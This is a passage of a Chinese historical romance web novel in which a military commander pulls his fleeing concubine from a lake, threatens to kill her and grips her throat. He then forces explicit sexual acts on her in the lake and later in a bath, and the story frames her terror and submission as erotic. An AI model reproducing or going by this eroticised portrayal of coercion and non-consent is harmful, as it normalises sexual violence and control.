林蓉在漆黑奔涌的湖泊里沉浮,她时而挣扎,时而下落。 林蓉畏惧湖泊,她落水后,手脚便僵直不动。 她无力自救,任由发髻松散,如一蓬蓬水草那般摊开,一条红色的丝绦自发中溜走,又被暗流卷上湖面。 林蓉不断下沉,她在湖水里睁着眼,口中吐出仅剩肺腔的几个细密气泡。 她似痛、似闷、似认了命,她看着那一条艳若鲜血的发带一直向上,生命力顽强,好似一条漂亮的水蛇。 那条独属于林蓉的红绳,骤然缠上了一颗乌木佛珠。 随即,一只白皙如玉的手,绕紧了红线,将林蓉的发带卷在指间。 那只男人的手忽然伸来,不容置喙地擒住林蓉,拽住了林蓉。 林蓉受困樊笼,她被人紧紧抓着,用力往上拉。 破水而出的瞬间,林蓉哇的一声,朝前呕出了一口污水。 她的浓睫被水沾湿,濡成了一缕一缕。一头蓬茸的青丝,浸水后压得很是服帖,披散在早已凌乱的胡袍上,恰好盖住了那一朵美艳俏丽的梅花胎记。 林蓉仍泡在湖心。 她冷得直哆嗦,瑟瑟发抖。双手柔若无骨,搭在男人结实有力的臂膀上…… 也是这时,林蓉才意识到,她将裴瓒当成浮木,她为了求生,竟攀附他出了水面。 看着裴瓒那张神色晦沉的脸,林蓉忍不住颤栗,咬紧早已冻僵的下唇。 裴瓒的眼中杀心未褪,他的眸光很冷,嘴角却挂着一抹锋艳的笑意,似是怒极反笑,“林蓉。” 林蓉被吓得一个激灵。 随后,裴瓒将冰凉长指掐上女孩的细颈,稍稍收力,桎梏住她。 裴瓒意味深长地问:“你畏水?” 闻言,林蓉的瞳仁震颤,浑身血液都失了温度,整个人好似冰封一般,四肢僵硬,动弹不得。 比起溺亡,她更怕的是自己暴露弱点,软肋被裴瓒得知……他会不会借此折磨她?他会不会让她生不如死? 林蓉不敢答话,她无声无息,仿佛死了一样。 可裴瓒却得了乐趣,他那略带薄茧的指肚,自林蓉滑嫩的下颌,暧昧地渐移到她的后颈。 那一处的皮肉细软,骨珠滚动,很好拿捏。 裴瓒犹嫌不够,他还将长指柔柔地插进了林蓉的头发,宽大泛凉的掌腹紧贴林蓉的后脑勺,刁钻又恶劣地控制着她。 此举似是托着林蓉的脑袋,又似是凶恶地掌控她。 唯有林蓉知道……这是一个很好折磨人的动作。 他可以按着她的头,逼她入水溺亡。 因他知她畏水,因他起了蓬勃杀心! 林蓉连呜咽求饶都不敢,她怕她的挣扎、反抗,无非是给裴瓒助兴! 毕竟,他是见到鲜血便会发笑的疯子啊! 林蓉噤若寒蝉,她大气不敢出。肩颈处一直萦绕着一丝腥浓血气,伴随着湖泊上涌的潮气,催人作呕。 “你方才宁愿落水,也不想上马,是想保那一匹畜生?你怕我射杀它。” 裴瓒漠然说完这句话,终是骇得林蓉抬眸,她听出裴瓒暗藏的杀心。 她不能眼睁睁看着芝麻受死! 毕竟在裴瓒眼里,那不过是一匹能任人屠戮的肉马,他不可能怜悯一只无用的牲畜。 若是杀了芝麻,还能给林蓉一个小惩小戒,他很乐意为之。 林蓉不能再犟下去。 “大少爷……” 林蓉的眼泪在眶中晃动,脸色霎时苍白,软唇因受冻而失了红艳颜色,她无措地望着裴瓒,小声恳求。 她退无可退了,她尝试着示弱。 她终于愿意和他说话了:“大少爷,我好冷……” “倒是可怜。”裴瓒不为所动,他将林蓉捞到怀中,一手扶着她的后脑,另一手死死擒着她的细腰。 他就这么将她摁在湖中,不愿带她上岸。 裴瓒的玉簪落入池中,碧波微漾,黑衣乌发,容色秾丽,犹如一只怨气深重的缠身水鬼。 林蓉被裴瓒掐在怀中,她知道了,裴瓒余怒未消。 若想活下来,她必须讨饶,或是……取悦裴瓒,她要自断筋骨,折去羽翼,如此才能留下一命。 她不服输,但她认命。 她要活着,才能有出逃的一天。 于是,林蓉咽下血泪,忍着齿间的寒颤,她小声哀求:“大少爷……带我离开这里吧,我再也不会逃跑了。” 林蓉没有回答“畏水”和“芝麻”的事,她不承认这些是她的弱点,她柔心弱骨地说话,只是想裴瓒消气,放她一马。 “我真的、真的不会再跑了……” 林蓉低声下气,再无尊严,她任他予取予求,她乖得不像话。 “你在求我?”裴瓒像是听到了什么笑话,他的眼底没有一丝温情,那串佛珠仍附着于她的香凉皮肉上,似是要汲她的骨血,蚕食她的肉躯。 “我在求您……” 林蓉乖乖点头,承认自己输了。 裴瓒扬唇:“林蓉,你便是这样求人的?” 林蓉不懂,她脸色颓白,看着与自己一同浸在湖中的裴瓒,看着那一条绕上裴瓒玉腕的红色丝带,看着裴瓒深秀凶戾的眉眼……她心中浮起一个古怪的、恍然的、迷惘的念头。 林蓉想试一试。 她的雪睫轻颤,悄无声息地靠近。 林蓉凝视裴瓒寡欲的薄唇,莫名低下头,小心舔吻了一下。 “大少爷,可以吗?” 不知是在问他,能不能带她离开湖泊?还是在问他,能不能继续吻下去? 裴瓒静默不动,林蓉也不敢躲。 林蓉的软唇贴着他的嘴角,止步于此,不再深入。 她等了许久,不知道这样能不能取悦裴瓒。 但幸好……裴瓒没有推开她。 第29章 林蓉冷得厉害, 甚至脑袋都开始混沌了。 春末的天气湿寒阴冷,她穿的胡袍又厚实,泡了水就沉甸甸往下挂, 偏偏襟口的扣子崩开,衣衫垂坠, 浸在碧青色的江水里, 更衬得她肩膀那片雪肤凝脂白到晃眼。 林蓉的衣袍里仅穿着一件嫩菱红的抱腹小衣, 纤颈上挂着一条细带, 洇着水。 晶莹剔透的露珠沿着那条红带子,一路往胸口雪腻的美人壑里坠。 林蓉不知自己披散湿发的模样像极了夜里的山狐,极其妩媚诱人, 可她分明道行不够,对男女之情懵懂无知。 林蓉睁着一双潮漉漉的杏眼, 呆傻看人的样子, 也别有一番意趣。 脆弱且不堪一折之物, 通常会诱起裴瓒隐秘的杀心。 许是裴瓒的狭长凤眸阒黑, 长指轻覆在林蓉后脑, 隐带敲打与催促。 林蓉终于有了其他的动作。 她知道, 这是裴瓒的惩戒之一。 他是身强力壮的男子, 不怕受冻受寒,可林蓉不是, 再泡下去,她保不准会昏厥, 会冻死在这里。 许是林蓉的求生欲强烈,她忍不住贴向裴瓒,将那些鼓囊柔软,压上他宽阔的胸膛。 隔着薄薄一层小衣, 林蓉感受到裴瓒线条流畅的肌理,是硬朗结实的男人躯体,散着一点蓬勃的热意。 林蓉低下头,再次吻向裴瓒冷硬的唇角。 她伸出舌尖,芙蓉色的一点红,舔着裴瓒,细细探知与感受。 她不知道要亲到什么程度才好,但她知道,裴瓒是默许她用这种方式来求饶,换取一点怜惜。 林蓉实在冷得厉害,唇齿都麻木了,她像是趋光的蝶,明知裴瓒这团鬼火没多少余温,还是自毁似的往他身上撞。 林蓉迷迷瞪瞪,勾向裴瓒紧闭的唇缝,企图汲取他口中暖意。 诡异古怪的檀香溢开,萦绕林蓉周身,枷锁一般囚着她。 黑沉沉的江水里泛起一点涟漪,林蓉陡然一惊,她感受到裴瓒攀爬在她后颈的手指。 两只玉指勾住兜衣的细带,缓慢扯了去,带来一丝惹人战栗的痒意。 裴瓒另一只手,碾过林蓉圆润的肩头,推下她的小衣。 那一团红色的软布,就此松松垮垮困在腰上。 他任她毫无章法地吻着,又故意将林蓉伶仃的小臂揽上结实的肩膀,由着她无力地挂在他的身上。 林蓉确实也无计可施,她不会游水,她的雪白双腿缠着裴瓒,仿佛他是她唯一能够攀附的一块溺水浮木。 但林蓉再蠢钝,也知现在骨肉相贴的情况有多坏。 她就这么被剥了个干净,赤条条的,困在男人的怀中。 林蓉眨了眨眼,唇间的动作一顿,没等她迷茫避开,下唇又是一痛。 裴瓒惩罚她的分心,竟咬了她一口。 林蓉皱眉,想瞪他又不敢,女孩低眉敛目,尽量装得顺从。 可能是她的反应的确惹人发笑,裴瓒的心气儿难得顺了一些。 裴瓒反客为主,掐着她的尖尖下颌,就此吻了上去。 男人的力气很大,琳琅玉指压在她的后颈,不容她逃离分毫。 林蓉的气息顿时被人堵住,她迷茫地发着战栗,她感受到裴瓒的舌尖很软、很烫,勾缠她的唇瓣,吞咽她的唾津,几欲将她拆吃入腹。 裴瓒的身躯高大,重覆上来,带着十足的侵略感,像一团浓黑的雾墙,将娇小的林蓉一寸寸吞没其中。 林蓉被吻得七荤八素,唇瓣吃痛,渗出了一点血气,是咸涩的铁锈味,被裴瓒咽了下去。 林蓉不知他在吃什么,又在喂什么。 但平心而论,裴瓒身上的香火气重,檀香很浓,唇齿亦有微苦的茶味、浅淡的酒香,很醉人,并未惹得她不喜。 只是裴瓒的吻渐渐加深,那种强迫样式的深吻渐渐令林蓉招架不住,气息被掠夺一空,她不想溺亡在这个吻了,竭力仰颈,试图呼救。 高挺的鼻梁,轻磕上她的锁骨。 滚沸的舌尖,终是沿着她的下颌,啄在她的肩头。 紧接着,一路游走向下。 他含吮上她。 林蓉陡然一惊,眼眶里蓄满了眼泪。 她的后脊窜起了电花,忍不住打着颤抖。 掩在小衣里的芙蕖…… 那是从来没被旁人触及之处。 竟被裴瓒衔在齿间。 林蓉不敢低头,她怕得要死,无措地踢腿挣扎,妄图躲开。 偏裴瓒没有给她机会,那只手用力地握住了纤巧的膝盖,将她硬生生拖回劲瘦窄腰。 “林蓉……忍着。” 裴瓒喜她的畏惧与惶恐,他刻意逼她承受。 林蓉逃脱不得,她只能感受那点湿滑的裹挟。 她乖乖圈住裴瓒,足背交叠于他的峻拔后背,紧紧锁牢。 …… 一番逗弄下来,林蓉气息奄奄,被裴瓒抱出了湖泊。 胡服被揉成一团,凌乱得裹在林蓉身上,她喘熄连连,连话都说不清楚。 方才呜咽了一阵,女孩樱唇微张,眼尾泛起潮红,一片潋滟水光。 不仅仅是唇上被亲得微肿,就连胸口也满是斑驳绯红。 吻痕几乎遍布周身,挟带着恶意的啃咬,泛起丝丝刺痛。 林蓉一点都不想回忆方才被裴瓒强摁着做了什么。 她也完全不知那里也能遭人采撷,裹缠齿间……裴瓒手段高明,这么多狎昵戏弄的手段。 但裴瓒稍感餍足,秀眉舒缓,似是消了一些火气。 他抱着林蓉上马,将她囚在怀中,低声告诫:“林蓉,如有下次,我会亲手弄死你。” 林蓉不敢多说什么,她唯唯诺诺低头,小腿碰到那一只装着箭矢的箭囊,又看了一眼踉踉跄跄追来的芝麻。 林蓉鼻尖发酸,她小声说:“大少爷,还有一事。” “何事?”裴瓒微撩单薄眼皮,冷静看她。 林蓉斟酌半天,终是开口:“芝麻受伤了,您能不能找人来帮它疗伤?” 裴瓒听她为一匹杂毛马求情,轻嗤一声:“倒是好心……随你。” “多谢您。”林蓉松了一口气。 她的惊惶褪去,体力不支,竟这么摇晃着身体,晕倒在裴瓒的怀中。 好歹是裴瓒的姬妾,在林蓉软了身子,几欲滚下马鞍的时候,裴瓒伸手揽住了她。 裴瓒将她重新摁到了怀里,策马回营的时候,还回头看了一眼。 那一匹林蓉要保的杂毛马,跟在墨羽身后,踉踉跄跄追来。 它的马臀受了伤,蹄根沾了血,痛感深切,竟也能一声不嘶。 裴瓒记得它,是战马墨羽在情期配种生下的小马,母马生下崽子后,许是嫌它瘦弱、活不长久,竟直接舍下它跑了。 而墨羽亦不喜这头小马驹,即便战马可以认出自己的后代,它也不曾与杂毛马亲近过。 裴瓒本以为这匹马早就病死、饿死,没想到几年过去,竟也养得这般大了。 裴瓒轻扬唇角,兴味十足。 倒是有意思,不过几日,林蓉就驯了这样一匹桀骜不驯的野马,还能让它认主,真不知是使了什么样的手段。 裴瓒淡看一眼,收回视线,不再搭理杂毛马。 如骏马受伤,自有马卒上前医治疗伤,不必他费什么心神。 回到军营,裴瓒褪了林蓉身上的胡袍、小衣、亵裤,又从箱笼里翻出一件青衫,将林蓉囫囵裹好,塞进软榻。 许是听到林蓉蜷曲身子,睡梦中边咳嗽,边低喃好冷。 裴瓒眸色微沉,踅身回来,抽出她缩着的手,摁到枕上,替她把脉。 男人触感粗粝的指腹,碾在冷皮手腕,重重往皮肉里压了压。 裴瓒用力很大,即便林蓉睡熟了也感到不安,她下意识躲开,却被更为强盛的力气,扣在了掌中。 林蓉忍不住发抖,最终还是放弃了抵抗。 她的乖巧取悦了裴瓒,囚着她的力道总算松了些。 裴瓒诊了林蓉的脉搏。 不过寒气侵体,发了些热,死不了。 裴瓒撩帘出门,吩咐小兵上医工那处取药、煎好,再送到主帐来。 裴瓒回来的消息,很快就传遍了军营。 郑至明从郑慧音这里得知了鞭伤的来龙去脉,他指着妹妹,恨铁不成钢地骂道:“那是大都督的姬妾,你管她作甚?!大都督的房中事,你一个外人指手画脚,挨一鞭子实在不冤!” 郑慧音没想到林蓉真的敢出逃,但一想到裴瓒平日里阴晴不定的模样,心里又暗暗解气:跑得好! 郑慧音受宠惯了,平白挨了郑至明的骂,心里不服。 她梗着脖子反驳:“蓉儿那么可怜,她受不住裴都督,自然要跑啊!而且蓉儿很懂事,我还把她认成妹妹了。哥哥,你要是认识蓉儿,你也会喜欢她的。” 郑至明闻言,冷汗直冒,恨不得捂住妹妹的嘴:“住口!我敢喜欢她吗?!” 单凭裴瓒能把人带到军营,还养在主帐里,他就知道此女不简单啊!日后保不准还会诞下裴瓒的子嗣,这样的姬妾,他哪敢开罪,恨不得高高供起! 郑至明越想越后怕,他还是要带郑慧音赔礼道歉去,毕竟那一匹出逃的马,是郑慧音送给林蓉的……保不准裴瓒以为郑慧音胆大包天,竟敢教唆他的爱妾出逃! 没等郑至明拉扯妹妹出帐,门帘处,已然悄无声息站着一名身材高挑的黑袍男人。 郑至明头皮发炸,心头咯噔。 居然是裴瓒纡尊降贵,亲自过来视察。 郑至明忙压着郑慧音跪下,诚惶诚恐地道:“今日之事,全是阿音的错,日后末将定会好生管教她!” 裴瓒目光幽冷,威慑力十足,冰寒的视线如有实质,落在二人的发顶,“如有下次,我决不轻饶。” “是!阿音少不更事,烦请大都督宽容她一回。阿音已经知错,决不会再犯了。” 郑至明手肘一戳妹妹,从牙缝里挤出一句,“姑奶奶,说话啊……” 郑慧音从牙缝里挤出一句:“是,还请裴都督宽宥。” 闻言,裴瓒寒着脸,没有出声。 他不再理会二人,转身离了帐。 第30章 待裴瓒回帐时, 祛除风寒的药汤已然送到屏风外的案上,送药的小兵知道帐中住着女眷,不敢擅闯, 放了汤碗就离开了。 裴瓒不过换了一身湿衣,还不曾洗漱沐浴, 他的眸子清淡, 看了一眼热气腾腾的药汤, 又看了一眼榻上熟睡的少女。 林蓉脸朝外, 侧睡着,杏脸桃腮,浓长的雪睫被火光照得光影明灭, 厚被盖在她身上,将她裹成了一个球。 似是闷热, 林蓉还伸手挣了挣, 奈何那一件青衫像是茧子一般丝丝绞缠, 她被缚得太紧, 摆脱不得, 只能放弃, 继续熟睡。 裴瓒静静看了一会儿, 单手端来药碗,冷声唤她:“起来喝药。” 林蓉一整晚受惊受冻, 睡得不算安稳。 当那只泛凉的手掌触上她的脸颊,林蓉很快睁开了眼。 林蓉睡眼惺忪, 没有半点怨气,不等她爬起来,瓷实的碗沿已经抵上了她的樱唇。 林蓉迷迷瞪瞪,被人掐着下颌, 艰难地张嘴,没一会儿,浓郁的药汁悉数灌进她的喉咙,容不得她说苦,那些药汤已被林蓉囫囵咽下了肚。 林蓉轻咳两声,擦去嘴角沾上的一点黑色汁水。 她抬头一看,恰巧迎上裴瓒那双冷漠无情的墨眸。 林蓉意识到这是治病的药汤,她小声道谢:“有劳大少爷喂药。” “嗯。”裴瓒放下汤碗,不再理她。 小兵陆陆续续送来洗漱的热水、炭盆。 林蓉知道,她身为裴瓒的侍妾,裴瓒定不想她以这般内帐懒散的模样,在外抛头露面。 因此,林蓉很知分寸地躺下,又拉扯厚被,掩住了半张脸。 她在暖乎乎的被窝里摸索手脚,意外发现,她的小衣小裤全都不翼而飞,身上裹着的这件衫袍宽大松垮,用的是上等暗花缎,还晕染着一股淡雅幽谧的檀香……分明是裴瓒的外衫。 林蓉明白了,她身上沾了湿泞泞的湖水,不好上榻,裴瓒不喜她脏污,这才大发慈悲帮她换了一身衣。 帐中备好沐浴的热水后,人声渐熄。 知道没人来了,林蓉鬼鬼祟祟钻出被窝。 林蓉偏头一看,屏风云蒸雾缭,隐隐传来窸窸窣窣的解衣声。 她恍然大悟……裴瓒亲自喂药,无非是想快点忙好她的事,再去沐浴更衣。 帐中虽燃着火盆,但林蓉的头发被湖水泡得半干,实在难受,她想到那些残留于纤腰的指痕,以及那些烙在雪壑丘谷的绯色吻迹,心里有些发闷。 无论如何,她还是想擦个身再睡。 林蓉听到屏风后传来淅淅沥沥的水声,下意识抬头,看到男人的玉腕微抬,将深黑长袍、雪色中衣,逐一挂上山水屏风。 那一扇屏风是纱面画屏,铜灯的火光闪灼,映掩出一个峭拔高挺的男人背影。 林蓉意识到,裴瓒喜洁爱净,他已经褪衣,入水沐浴了。 林蓉深知,自己不是什么上得了台面的人物,她没资格喊兵卒再送一些热水来擦身。 但林蓉身上黏腻,实难入睡。她思索半天,想到了一个折中的法子——要不等裴瓒用完水,她再看看有没有剩余的热水,随便将就一下好了。 乡下人一盆水还从脸洗到脚呢,没什么可挑剔的。 许是林蓉坐在榻边出神的样子太过傻气,屏风后忽然传来一声磁沉的嗓音:“不睡么?” 林蓉抬头,啊了一声。得知是裴瓒问话,她讪讪道,“身上还有些湖腥味,想擦个身再睡。” 许是害怕裴瓒会嫌她多事,林蓉又诚惶诚恐地补充:“大少爷不必管我,也不用深更半夜再麻烦那些火头军的将士烧水……您先沐浴,我随便借水擦一擦就好。” 林蓉没忘记自己是如何死里逃生的,有命活下来都不错了,她哪里敢和裴瓒谈什么条件。 没等她说完,裴瓒忽的又唤:“林蓉,过来。” 闻言,林蓉立刻反应过来,裴瓒是唤她共浴! 林蓉想到她身上仅披一件青袍,内里一丝不挂,顿时两眼呆滞,心生退意,“大少爷,我眼下有了一点困意,似乎不擦身也能睡着。” “林蓉,过来。”裴瓒的嗓音渐冷,“……别让我说第二遍。” 即便看不到裴瓒那张寒若霜雪的脸,林蓉也能从他压迫感十足的话语里,听出他隐藏的不耐与厉色。 林蓉不敢和裴瓒拗着干,她怔愣了一会儿,却不想裴瓒起身,出水披衣,竟朝她缓步走来。 看着那一袭高大的男人身影渐行渐近,林蓉喉咙发紧,一个激灵,急忙爬出床榻。 不等她站稳,皓白的玉腕已然被裴瓒紧紧攥在掌中,腰上揽过遒劲的臂骨,林蓉就这么被裴瓒横抱进怀。 林蓉跌进男人滚沸的怀抱,压迫感剧烈的热息兜头涌来,耳畔响动着男人蓬勃有力的心跳,如熔岩喷薄。 几乎是瞬间,那一味佛堂苦香蔓延,几乎无孔不入,钻进林蓉的口鼻,充斥她的五感,将她熏得晕头转向。 林蓉曾经很喜欢裴瓒身上散来的烟火檀香,亦觉裴瓒琳琅手骨囚着的那串菩提佛珠很有神性。 直到她被他压在身下,掐在怀中,她方知这等慈悲佛香究竟有多可怖,能让檀香涂身的观音,转瞬蜕下那一层普度世人的仁厚皮囊,化为残暴不仁的罗刹恶鬼。 裴瓒对她,从未有过心软。 林蓉胆战心惊,她的意识迷离,手脚僵硬,如坠冰窟。 她又想起胸口残余的或轻或重的咬痕……忍不住战栗发抖。 许是林蓉的反应太过抗拒,惹得裴瓒阖目低头,他将林蓉丢到浴桶之中,又捏住少女纤巧的下颌,凝视她雾濛濛的杏眸,一字一句告诫。 “你弄脏的……是我的榻。” 所以,她该赔罪,该补偿,该把自己洗得纤尘不染,如此才好侍奉她的夫主。 林蓉没什么退路。 林蓉想到此前凛冽的箭矢,想到溅射脸颊的温热马血,想到她被裴瓒掌在手中差点溺湖……她惜命,她没有抵抗。 林蓉的双手紧紧攀住浴桶的边沿,迟缓地点了下头,“我会好好洗干净,不敢弄脏大少爷的睡榻。” 许是林蓉服软的样子实在乖巧,裴瓒淡看一眼,没有为难。 他在林蓉面前褪衣。 长袍自裴瓒肌肉结实、线条优雅的臂弯落下,露出那片净如美玉的肩背。 这具修长健美的男人身躯,虽如月中聚雪一般白皙,颈上、腰侧却留了几道黯淡旧疤,平添了些许狰狞凶狠的杀意,令人不敢小觑。 裴瓒生得冷目秀眉,加之宽肩窄腰,身子峭拔秀挺,无疑是漂亮的人儿。 只林蓉畏极了他的手段,再好看的郎君,她都不敢亲近。 林蓉第一次这般近距离观瞻裴瓒的赤身,她的杏眸圆瞪,有点不知所措。 此前虽和裴瓒肌肤相贴,但到底没有一做到底。 而记忆中第一次云雨,她背对着裴瓒,只记得疼痛与酸胀,并无旁的印象。 在林蓉痴傻出神的瞬间,浴桶的水已经淋了一地的湿。 她惊慌失措地后退,却还是被倾身而来的裴瓒,强硬地堵在了逼仄的浴桶里。 林蓉结结巴巴:“大、大少爷……” 再一低头,林蓉哑口无言。 是狰狞硬朗的小少爷。 裴瓒摁了一下林蓉的肩颈,感受她凝脂雪肤的热意。 她没有发热了,身体康健,一碗药汤灌下去,病痛消除,不至于得了风寒。 既如此,对于林蓉的惩罚,便可继续。 裴瓒不顾林蓉的挣扎,捏着她柔软的细腰,逼她翻过了身。 林蓉受制于人,她没有拒绝的余地,只能瑟缩一下,任人摆布。 她惊恐地扶住浴桶,心中忐忑不安,四肢百骸都透出冷意。 可双膝已被裴瓒折成了跪坐的姿势,腰窝也被他死死压在掌中。 裴瓒强迫她,背对自己。 他的长指如燎原星火,燃在林蓉的后颈,那只宽大的掌腹四处游走,再度覆上林蓉的薄皮咽喉,扼住她的命脉,感受她细如荷茎的颈子下颤出的战栗。 “林蓉,再躲一步,我会收不住力。” 裴瓒低声劝告。 林蓉不敢再动。 她任他施为,惶恐地贴向裴瓒劲瘦窄腰,臀碰到他轮廓清晰的坚硬腹肌,随即僵住不动。 男人轻柔的吻,逐一落在她的雪背。 林蓉隐忍地咬住下唇,不敢发出一丝一毫的声响。 她的杏眸含泪,既怕惊扰到裴瓒,令他下手更重,又怕挑起他的兴致,令他磋磨的时辰更长。 可林蓉的克制,终究是惹怒了裴瓒。 雪臀上,指骨微紧。 绵软被他掌在手心,玉肉几乎要从指缝流溢出去。 裴瓒低头,静静审视林蓉,冷笑道。 “林蓉,跪好一些。” 几根长指掠过林蓉乌黑油润的长发,勾到她沸腾发红的耳后。 不过微微抬身,裴瓒又恶念深重地训诫。 “进错了地……休要怪我。” 30-40 第31章 裴瓒没有出错。 他进对了。 林蓉摸了摸小腹, 茫然地出神。 她有些后怕,竟不知自己原来能吃得这样撑。 林蓉浑身紧绷,脚趾都在蜷曲, 如同几片微微卷翘的芙蕖花瓣儿。 偏偏裴瓒在这样艰涩难行的时候,还要俯身。 裴瓒温热的胸膛覆来, 与林蓉的纤薄的背脊相贴。 骨肉相贴, 实在亲昵, 令林蓉无所适从。 林蓉无法受力。 她一边想推开裴瓒, 一边想扶稳桶沿。 偏偏膝盖一滑,林蓉反倒往下落。 她呆若木鸡,眼泪滚落。 只觉得坐得深切, 顿时一动不敢动。 而下一刻,裴瓒的几根白皙长指已然从后探来, 自她的下颌抚上, 掰过她那尖尖的下巴, 吻上了她饱满的樱唇。 “林蓉, 张嘴。” 裴瓒垂下黑浓眼睫, 用清越温润的嗓音唤着林蓉。 许是他身为目无下尘的上位者, 天生便有一股赫赫威压。林蓉一时怔忪, 竟从了他的意。 少女柔软的小舌被裴瓒卷了去,压着舔吮, 浅尝,掠夺她口中一切气息。 林蓉被裴瓒掌在怀里, 那种窒闷感瞬间涌来,她无法呼吸,被迫咽下裴瓒渡来的所有,她与他热息相缠, 耳鬓厮磨,如同一双缠绵悱恻的爱侣。 可林蓉这般歪着头,脖颈也实在是酸痛。 林蓉很想躲开裴瓒的吻,她勉力偏头。 原以为自己逃出生天,下一瞬,林蓉小巧的耳珠,又被裴瓒含咬进口中。 男人滚沸的唇舌,裹住林蓉的耳垂,湿滑的唾津浸润那一块细嫩的软肉,直将她舔得发亮微红。 林蓉头昏脑涨,呼吸都在战栗,脊柱窜起一阵麻麻的酥意。 她也说不上是舒适还是不适。 林蓉睁着一双水光潋滟的杏眼,迟钝地承着。 林蓉觉得这次没有从前难捱,好似能忍许多。 这一次,他倒有几分体谅,并未凶悍欺压。 裴瓒虽在此事上没什么经验,只和林蓉试过。然而他本就天生邪心劣骨,一旦得趣,不会轻饶。 裴瓒会刻意修长的手指,探入林蓉唇腔。 肆意搅动林蓉的丁香小舌,直将亮盈盈的口涎涂抹至指根。 还在林蓉发狠了拧缴他时,低头啄吻少女肩上的落梅胎记。 裴瓒颇有掌控全局的野心,他试图怀中的女孩稍得些趣味,哄她松懈心神,莫要太过畏惧,免得彼此都讨不了好。 许是林蓉予取予求的模样实在乖巧,裴瓒的冷眸亦染上一丝蛊惑人的春情。 半个时辰后,裴瓒才释了一次。 他夸赞林蓉的懂事,捋开林蓉汗湿了的额发,附耳低声道。 “再过几日,我会带你去庐州赴宴见客。” 林蓉浑身湿淋淋的,疲乏过度,几乎睁不开眼。 她哑着声,不明所以地问:“见客?” 裴瓒见她小小一只,柔若无骨地蜷在怀里,好似一只人畜无害的白兔。 裴瓒起了逗弄的心思,他抬手摩挲林蓉的樱唇,道:“见一见庐州吴氏女……此女是我日后的正妻。” 闻言,林蓉微微一怔,不知该说些什么好。 许是林蓉怔忪的模样惹人怜爱,裴瓒难得放柔嗓音,哄劝一句。 “你不用怕,无非是一房正妻,欺不了你。我亦事先敲打过,吴氏不敢造次,会有容人的肚量。” 裴瓒谨防林蓉恃宠生娇,不愿许诺太多,但又觉得她这般愚钝,怎可能起什么争宠的心思,怕是来日被人拆吃入腹,都不自知。 裴瓒不曾予人承诺,此刻见林蓉胆小如鼠,倒也觉着有趣。 裴瓒轻扯一下唇角,狭长凤眸凝望着她,“林蓉,若你乖巧,我自当护你周全。” 区区吴氏,怎敢干涉他的家宅事。 要知道裴瓒手中掌着五州兵马,权势滔天,而吴家式微,不过凑巧在裴瓒用兵之时,献上一贫瘠小州罢了。 裴瓒履行联姻之诺,给吴家一个体面,无非是想借助此事,提点那些摇摆不定的世家郡望——他这人重情重义,日后问鼎天下,少不了开国武勋的好处,还望诸君相时而动,尽早投顺,向他纳忠效信。 譬如吴家,识时务、知进退,此前献兵送粮,雪中送炭。裴瓒记恩,便舍下一妻位,用于帮扶吴氏的子孙后代。 此次与吴家结亲,不过是维稳局势的权宜之策。 待几年后,时局不同,裴瓒会不会容吴氏女留在后宅,也未可知。 毕竟裴瓒不想吴家做大,他不会赠予吴氏子嗣。 只眼下时局动荡,又是谋反起事的紧要关头,裴瓒不会因小失大,刻意悔婚,与吴家交恶。 吴冲当然不蠢笨,他当然知道此次成亲,无非是裴瓒施与的面子情。 他们可不敢让吴氏女在裴府作威作福,执掌中馈,把持钱财。 他们献女,只是想亲事一帆风顺,与裴瓒缔结两姓之好。 既如此,一个没有掌家之权的妻室,又如何能拿捏夫主看顾的侍妾。 只要裴瓒护着林蓉,便无惧她会受正妻的欺压。 裴瓒自认待林蓉不薄,将她担心的一应事安排至妥当。 如此厚爱,林蓉应该感恩戴德。 但他的寥寥数语,落到林蓉耳朵里,无疑是晴天霹雳。 林蓉不在乎裴瓒会不会娶妻,她怕的是,从今往后,她要被裴瓒囚进后宅,当一房妾室,成日里只能看主母与夫主脸色过活。 那可太吓人了。 林蓉当然知道,她岁数小,如今还算年轻貌美,才能得裴瓒几分青眼。 若她色衰爱弛,裴瓒定会弃她如鱼目,捧旁人若明珠。 失宠的妾室,连草芥都不如,她会在裴家后院里慢慢枯萎、腐朽、死去…… 她不信裴瓒的真心,也不贪图他的偏宠,她只是不想被困进高门大院。 林蓉下定决心,她要赶在裴瓒的正妻进门之前,尽快逃离。 所有亲昵欢好的幻象褪去,林蓉清醒过来,她不再被裴瓒的柔情蛊惑。 浴桶里的水温已经变温,林蓉浸在池中,不敢随意离开。 她想到那些留在小腹的雪秽。 又不敢当着裴瓒的面,弄出那些东西。 林蓉眨了一下干涩的杏眸,与裴瓒低声说:“待会儿,能劳烦大少爷,为我备上一碗避子汤吗?” 裴瓒微微阖目,眸色微沉。 林蓉被裴瓒的冷目吓了一跳,她不知自己哪句话惹得大少爷不快。 她忐忑不安,又轻声解释:“我知道主母进门之前,侍妾通房都不能先生下庶子女,否则就是大不敬。我日后还要在主母手下讨生活,自然要小心谨慎,不犯忌讳。” 林蓉好歹在裴府当过丫鬟,再愚钝也知,主母还没进门,怎可能诞下庶出子女,这是祸家之根,这等媚主的祸水,一定会被主母狠狠发落的。 而且,裴瓒规矩重,不会为了一房侍妾破例。 倘若是林蓉不慎怀胎,说不定他为了保住妻子的颜面,还会喂她喝药,逼她落胎。 林蓉见过姨太太打胎的样子,一碗药下去,痛得连被褥都能抓烂,她怎敢心存侥幸。 与其之后遭难,倒不如早做准备。 毕竟这档子事,裴瓒舒爽了,又怎可能管她死活…… 林蓉不想怀上孩子,也不能怀上孩子。 妾室生的孩子只能喊自己“姨娘”,还得养在嫡母膝下。 林蓉不想让自己的孩子活得这么辛苦,况且她还有逃心,只要不生牵挂,没有子嗣,说不定哪天,家宅防守疏忽,她就能逃出生天。 林蓉低着头,说出的话柔情小意,处处妥帖,甚至称得上贴心至极。 但不知为何,林蓉一心避嗣,竟让裴瓒隐生不悦。 裴瓒冷声夸赞:“林蓉,你很乖巧……安心,我会命医工给你煎药。” 林蓉松了一口气,脸上浮起笑意:“多谢大少爷!” 少女眼亮如星,得知自己能喝一碗避子汤竟会这般欢喜。 裴瓒那双墨眸,渐含阴戾,他静静看了林蓉一眼。 林蓉心中放松,她服侍完裴瓒,打算起身穿衣。 没等她爬出浴桶,一只健硕臂骨忽然横来,揽过林蓉不盈一握的细腰,又将她死死摁回怀中。 水花四溅。 林蓉猛地坐回了裴瓒膝上。 她感受到一丝异动,茫然无措地唤:“大、大少爷?” 裴瓒低头,掰过林蓉的脸,逼她仰颈承吻。男人凶相毕露,吃得很深,待林蓉气喘吁吁,他才抬指,轻抚过林蓉水光莹润的红唇。 裴瓒蛊惑似的低语:“急什么……不过一碗避子汤,等会儿尽可喝够。” 